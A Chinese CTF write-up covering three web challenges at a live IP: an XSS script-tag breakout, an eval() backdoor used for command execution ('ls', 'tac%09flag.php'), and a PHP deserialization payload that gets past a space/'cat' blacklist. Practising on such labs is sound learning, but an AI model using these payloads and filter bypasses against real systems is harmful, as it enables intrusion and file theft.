前言

昨天晚上在暑假实习部门群里,前辈说以后每周发三个CTF的题目,再加上自己最近也想做做CTF的题,遂早上起来把题目做了下,写下writeup记录。

alert

题目链接

http://47.100.121.220:28001/01.php

解答

这是一个简单的xss题,首先审查下元素,任意输入一个值。

1
2
3
<script>
document.write("HELLO 1</br>")
</script>

可以看到输入的值1被加到了document.write函数中输出,这里只需要把document.write的script标签闭合,再插入一个xss payload即可、

payload

1
</script><script>alert(/xss/)</script>

PHP一句话

题目链接

http://47.100.121.220:28002/02.php

解答

这个题目有点坑的,我自己也有点瞎的。在沈大佬的提醒下发现

1
2
3
4
<a style="display:none">password=style_is_display_none</a>
<form action="/02.php" method="POST">
Your password:<input type="text" name="password" size=10 maxlength=6 />
<input type="submit" name="submit"/>

WTF,我审查元素没有注意,这里提示了password=style_is_display_none了,跟第三题一样没认真的看题。

遂构造payload

1
password=style_is_display_none&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if(isset($_POST["password"])) {
if("style_is_display_none"===$_POST["password"]) {
echo "Right!"."</br>";
show_source(__FILE__);
if(isset($_GET[1])) {
eval($_GET[1]);
}
}
else {
echo "Wrong!"."</br>";
}
}
?>

看代码,我们可以利用eval来执行任意代码,执行system(“ls”)查看当前目录下的文件

1
http://47.100.121.220:28002/02.php?1=system("ls");

再用cat查看flag.php,这里貌似还是不能用cat,所以用tac吧

1
http://47.100.121.220:28002/02.php?1=system("tac%09flag.php");

PHP是最好的语言

题目链接

http://47.100.121.220:28003/

解答

先用御剑扫目录发现 www.zip 文件,下载解压查看源码如下

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

$xkey='xxxxxxx'; #don't tell you.

class Neo{
public $cmd;
public $key;

function __construct($cmd,$key){
$this->cmd=$cmd;
$this->key=$key;
}

function __wakeup(){
$this->run();
}

function run(){
$this->waf();
global $xkey;
if ($this->key === $xkey){
system($this->cmd);
}
}


function waf(){
$black = array(' ','cat');
foreach ($black as $key => $value) {
if(stripos($this->cmd,$value)){
die("Attack!");
}
}
}

}

404.php

1
2
3
4
<?php
include "404.html";
include "function.php";
@unserialize($_POST['power']);

读源码可知这是一个php反序列化的题

php反序列化问题可以参考我之前的博客

反序列化漏洞的利用与学习
理解php序列化漏洞

可以在404.php页面用变量power提交payload,在function中的Neo类有两个成员变量,一个key,一个cmd。key值这个地方我一直以为是xxxxxxx,后来才看到index页面有提示Key值为php_is_nice

遂构造payload 先查看当前目录的文件,payload如下:

1
power=O:3:"Neo":2:{s:3:"key";s:11:"php_is_nice";s:3:"cmd";s:2:"ls";}

可以看到存在flag.php文件 在由function的代码可以知道我们需要读flag.php的内容

1
2
3
4
5
6
7
8
function waf(){        
$black = array(' ','cat');
foreach ($black as $key => $value) {
if(stripos($this->cmd,$value)){
die("Attack!");
}
}
}

由waf函数可以知道,过滤了cat和空格。在这里我们可以用

%09 绕过空格 tac绕过cat

其中 空格绕过

参考
浅谈CTF中命令执行与绕过的小技巧

tac

cat命令可以显示文件的内容,它反过来写就是tac,而tac恰巧也是一个Linux命令,它的功能就是把文件内容反过来显示,文件内容的最后一行先显示,第一行最后显示

遂构造payload

1
power=O:3:"Neo":2:{s:3:"key";s:11:"php_is_nice";s:3:"cmd";s:12:"tac%09flag.php";}

Reference

反序列化漏洞的利用与学习
理解php序列化漏洞
浅谈CTF中命令执行与绕过的小技巧